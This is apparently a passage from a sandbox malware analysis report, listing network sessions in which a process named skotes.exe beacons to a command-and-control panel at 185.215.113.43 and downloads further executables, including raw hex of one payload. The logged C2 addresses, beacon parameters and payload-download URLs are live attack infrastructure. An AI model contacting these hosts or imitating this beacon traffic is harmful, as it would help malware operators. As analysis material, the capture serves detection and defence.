Nov 24, 2024 10:29:01.028677940 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:29:02.392277002 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:29:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	50303	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:29:04.142780066 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:29:05.575001955 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:29:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	50304	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:29:07.221347094 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:29:08.678731918 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:29:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	50305	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:29:10.415442944 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:29:11.814855099 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:29:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	50306	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:29:13.450118065 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:29:14.825009108 CET	283	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:29:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 64 0d 0a 20 3c 63 3e 31 30 30 38 37 32 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 5d <c>1008722001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	50310	31.41.244.11	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:29:14.956764936 CET	138	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11 If-Modified-Since: Sun, 24 Nov 2024 07:34:48 GMT If-None-Match: "6742d718-425e00"
Nov 24, 2024 10:29:16.363130093 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:29:16 GMT Last-Modified: Sun, 24 Nov 2024 07:34:48 GMT Connection: keep-alive ETag: "6742d718-425e00"

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	50311	34.116.198.130	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:29:18.070113897 CET	87	OUT	GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1 Host: home.fvtekk5pn.top Accept: /
Nov 24, 2024 10:29:19.504040956 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Sun, 24 Nov 2024 09:29:19 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="36EpLiutqfXtaXMkXOTru;" last-modified: Tue, 19 Nov 2024 12:29:07 GMT cache-control: no-cache etag: "1732019347.4431374-10815536-3919321515" Data Raw: 9b 04 9e 1d e2 2a 68 73 fe d9 48 6f 2c 36 36 c8 a4 e4 ba e7 12 f9 22 5d 6f 07 aa d2 fb 8c a2 b3 95 1e b6 6c ff 92 32 40 41 97 30 99 34 26 c9 44 c2 1e 7f 22 13 cd 10 62 a7 32 f3 c2 5c 11 ed c0 71 4a 49 c7 9d 3e 95 07 3e 4a 0a 6f 63 4c 1a b8 b6 1a 3d 67 8e 9d ed 46 4c 04 61 0a c6 3c 7b 3a f6 0d 3f 30 0d 33 18 56 4c f0 76 7a 8b c7 a1 f1 75 64 d6 00 c3 e9 df 3a 1b 4f 35 50 64 a6 db 6b 23 6a aa e6 6c 33 a4 69 a7 80 16 e0 e4 49 7c d0 73 7d bf 61 a2 62 7a 62 8e 5b f4 4d a9 ba 05 ae 7f d8 0c 3c 1e 71 cb 84 47 32 b1 63 64 df 8e 7a 22 8c 8e 33 7d f1 20 f1 74 04 61 fd 18 55 10 be 45 7d f4 63 45 d4 d0 16 17 c4 c8 a6 7d 44 80 d2 ba e9 1a 17 37 63 43 e4 22 3e c5 e4 a4 16 51 4f 2d 57 23 3a 36 33 fa f3 c5 aa 04 00 79 5c 1f 43 8d f1 b2 56 df 86 17 bc df 28 44 b7 aa 85 64 2d 2f 94 0d a5 7c 18 37 92 cb 0d 76 40 2e 05 16 6a ce b1 8c 0a e3 7d 08 00 ce 6a ef d3 51 b9 3b 81 19 3c 3f 6c 3e 37 fe 3f d7 b3 7d 60 7e e2 b1 a4 1f 00 62 27 63 3d fd 4b 06 87 dc 8e 8e fa 56 9b bf 7a dc a3 07 20 e3 0b 1a f5 06 b1 0f 6d 27 af dd 1b [TRUNCATED] Data Ascii: hsHo,66"]ol2@A04&D"b2\qJI>>JocL=gFLa<{:?03VLvzud:O5Pdk#jl3iI\|s}abzb[M<qG2cdz"3} taUE}cE}D7cC">QO-W#:63y\CV(Dd-/\|7v@.j}jQ;<?l>7?}`~b'c=KVz m'3~\K ^m_F<4xrG/dz4?gv5,?^w@X^wZ1~7C+Z&dp`#9XgJC>e93VGh74x?x[3=YT.Qa `MG?_zGkB+(#8RUeY[x-$4`zAc`vmVlP+>tsd@>ydCHSnt+_`"FitXXD.}P #(4K<0b h;]6{bgEqvZ>4o]2?}#\|![L&!z";ZY<PPT9HC}M*65qs#ep%@LlGH)bj'7a: ;B3L0"
Nov 24, 2024 10:29:19.504307032 CET	1236	IN	Data Raw: b8 ff 32 30 58 cd 81 20 5f b7 4d f7 d5 77 53 0a 4f e7 60 83 ed 44 cc d0 f5 71 1e 4e 4f f8 01 9b 7d 28 47 50 fb 75 8d 8e 55 9f 9d c6 2b 06 24 6f 58 e4 80 8f e0 a2 b4 79 5d f7 cf 4a e0 fc b8 91 16 d1 c7 db 64 34 ea ff 9a 7a 67 99 a9 5e e5 15 9c c8 Data Ascii: 20X _MwSO`DqNO}(GPuU+$oXy]Jd4zg^h(>sNk=@nIEbcZ"~Q6]4AGc]>2+<X]2]CRq[Ya{YvF{m2*bg3\|8IBlm&
Nov 24, 2024 10:29:19.504317999 CET	1236	IN	Data Raw: 31 a0 27 b0 31 e8 22 a5 51 78 81 6b ea a9 43 84 11 c4 be 3a 3c 17 d0 63 57 c5 20 31 2f c5 f3 3d bf 67 df 7f 0a 0e 93 9c af 04 65 f3 af a9 d4 4f 98 e4 8e ec 3f 1b 0f e9 f3 b7 01 21 79 8f 56 8d ec 70 82 ac 4b 64 58 ce 90 f4 54 8d 94 fe aa 7b 06 b3 Data Ascii: 1'1"QxkC:<cW 1/=geO?!yVpKdXT{`6u}]dTlC%hU.\|zi<kGB5}mP=PNp?%G~e\|NSF{)OfI"&l6~/YLm#K>
Nov 24, 2024 10:29:19.504329920 CET	1236	IN	Data Raw: 52 23 c5 90 d5 ff 98 77 06 c3 aa 7f 85 27 36 0c 3d 95 5d f4 72 4e 81 4b 66 ae 6d 23 f3 44 c6 b9 51 f6 7b 5b 38 44 ca f3 b2 7c cf 81 a7 28 04 b5 36 b4 fb 4f 20 f4 f8 c4 28 41 7e c3 7e 89 b0 03 17 ce b1 07 49 cd b1 88 29 27 55 18 25 6f 10 b0 06 82 Data Ascii: R#w'6=]rNKfm#DQ{[8D\|(6O (A~~I)'U%o%.8]<4428@9]VGi&3'/SvepiD`)fhOOu;{ad=E/Z7h(}ZD0EZE_EP=5>J5B
Nov 24, 2024 10:29:19.504339933 CET	1236	IN	Data Raw: b4 45 24 ec 90 ce f6 4a 8d 7e de e4 f7 04 5c 67 ac 49 96 a0 e7 1e 40 e5 6a ed c8 51 ae 18 59 a3 63 5e 96 33 7e 7e d0 7f cd 58 b9 bc 51 ce 04 fd 4c a7 a2 7d 5c 30 c0 d4 4a 5f 97 df c2 80 8a 66 fd 5e 54 12 cd e9 3c 3d e5 9b 7f 7c 7e 3b 28 bf 33 eb Data Ascii: E$J~\gI@jQYc^3~~XQL}\0J_f^T<=\|~;(3w;b+NcHfD-O~sHC_a6&}}4cP9Ap&tTu:#?b)}St[I)~^TTPYT0cQY0>~a0(V
Nov 24, 2024 10:29:19.504350901 CET	1236	IN	Data Raw: 47 80 00 2b 25 42 aa bd a5 64 44 8a 14 d0 b4 84 86 fd 10 b5 76 4f dd 9c b8 72 9a 38 df c6 45 25 a8 59 77 29 fe 08 73 7d b0 d7 21 96 0b f1 48 b6 34 94 21 e6 4d e5 f5 dd c1 af 58 87 90 cd ab 11 5c 3a 8f e6 92 c1 8b d0 b4 82 68 92 ec 73 11 3e 2e e6 Data Ascii: G+%BdDvOr8E%Yw)s}!H4!MX\:hs>.6 HSrBa9A\|l=eru3Fw1A19=doudZ_fi$C\Ux<S;dfWQ&sdbn&"9*WNi4_@=}t
Nov 24, 2024 10:29:19.504367113 CET	1236	IN	Data Raw: 99 87 4e 61 83 9d 39 ec f4 40 68 7e 1e 63 fa ea d7 e1 14 8b c8 18 3c e7 78 64 68 08 a3 b5 ed e5 b1 05 f7 fe 2c 52 4b 95 f4 a1 cc 37 6e 61 9b 42 ff d7 4f d2 a5 15 9d 5a 02 57 82 82 64 1b d4 f9 5a 2c 92 89 97 9c b5 dd 98 68 aa 53 f2 26 53 33 f5 e5 Data Ascii: Na9@h~c<xdh,RK7naBOZWdZ,hS&S3FeoKSS9)v&Teke);q0\|~~A',E,NgkiQ.?9ne&6:Jj1?Z,0?>>DMi)VHumgAr]ec
Nov 24, 2024 10:29:19.504472017 CET	1236	IN	Data Raw: fe fe cf 52 24 89 fa 08 d7 42 32 e1 76 52 3a 74 b3 a1 8e 52 b7 c5 11 67 7b 1a 31 01 be 22 f7 43 6c 71 f3 94 c9 74 db 4c fb c9 e6 10 71 8b 2a 72 50 25 23 a4 fa 1d 1a 1f e8 6d 15 eb c5 65 c9 95 e7 a7 98 98 07 86 ea 57 01 77 e6 59 b1 be 1b 3e aa 85 Data Ascii: R$B2vR:tRg{1"ClqtLqrP%#meWwY>EiDHruh$xx{QUMS&2muD t%?- E&q2V(L}k(5uptr-:H7U7wweBKIOwo#L
Nov 24, 2024 10:29:19.504483938 CET	1236	IN	Data Raw: 34 fe 03 61 a1 16 44 0c d8 cc 48 d8 60 8f 64 db 74 c2 8f 91 85 90 3e 82 8c 35 ed 45 ba 2d f0 2b 69 bd e5 6c 32 6e 00 c7 2f 8b e2 80 22 b8 57 56 d5 8a ae 86 3e 81 b8 0b 20 69 ab 34 85 a8 b0 d8 36 65 a4 ee cc 4c c2 8e 0c ad 04 22 ae 7f 21 b0 07 ba Data Ascii: 4aDH`dt>5E-+il2n/"WV> i46eL"!^jRw{;+B0QgZ F^(}n^lX3dYCtP}q{jWix+@?e-{RPc-7c"fH`?o
Nov 24, 2024 10:29:19.504497051 CET	236	IN	Data Raw: fa ea 8e 3f ab 32 a5 c5 dc af 25 18 9a 7e b4 f4 ac 14 ad 82 1d e0 7b 64 d5 d8 92 5d ce ce 08 d0 95 dc 4b 29 1c 8a 55 e5 4c d7 9c 0d 80 4e d7 82 62 ca 54 4c 00 6d 56 34 54 2e c0 ea f8 e3 30 08 33 9d 9e d0 1d 0e d0 5e 42 f2 b4 70 b1 66 ed 7e 38 19 Data Ascii: ?2%~{d]K)ULNbTLmV4T.03^Bpf~8 >rc;~Cw>@{`dz#~J0RnF@o"w\|"s{Vh)?Rgbw9U-.GBlHHzp8(>KV&_Fk+j0!
Nov 24, 2024 10:29:19.624356031 CET	1236	IN	Data Raw: 5c 26 d9 e1 02 59 d6 5a 88 fc 21 bc 6a 50 3d 20 ca dd bd 3e 4b bb 5a 21 bb b6 e9 ca cf 38 bb 14 28 8c 0d 1f 97 cc 56 3f 18 41 7a 1d 1a 9d 67 4a 85 5b 92 8b 3b 1e bf d8 44 8a 35 69 2b 1e 56 16 fc 59 b3 36 40 c3 4f 78 27 8d f3 52 56 ff 2a 78 b3 c8 Data Ascii: \&YZ!jP= >KZ!8(V?AzgJ[;D5i+VY6@Ox'RVx\|JPdhlAO(&XyHv;q"'7%DvRXVi?_81HVma(u<hVxv2oj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	50312	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:29:18.818785906 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 37 32 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008722001&unit=246122658369
Nov 24, 2024 10:29:20.252629042 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:29:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	50313	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:29:21.998805046 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:29:23.452078104 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:29:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	50314	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:29:25.092977047 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:29:26.502245903 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:29:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	50315	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:29:28.253158092 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:29:29.607628107 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:29:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	50316	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:29:31.250013113 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:29:32.703398943 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:29:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	50317	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:29:34.448971987 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:29:35.908315897 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:29:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	50318	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:29:37.546668053 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:29:38.960095882 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:29:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	50319	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:29:40.708926916 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:29:42.102828979 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:29:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	50320	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:29:43.741882086 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:29:45.188529968 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:29:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	50321	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:29:46.942694902 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:29:48.357620955 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:29:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	50323	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
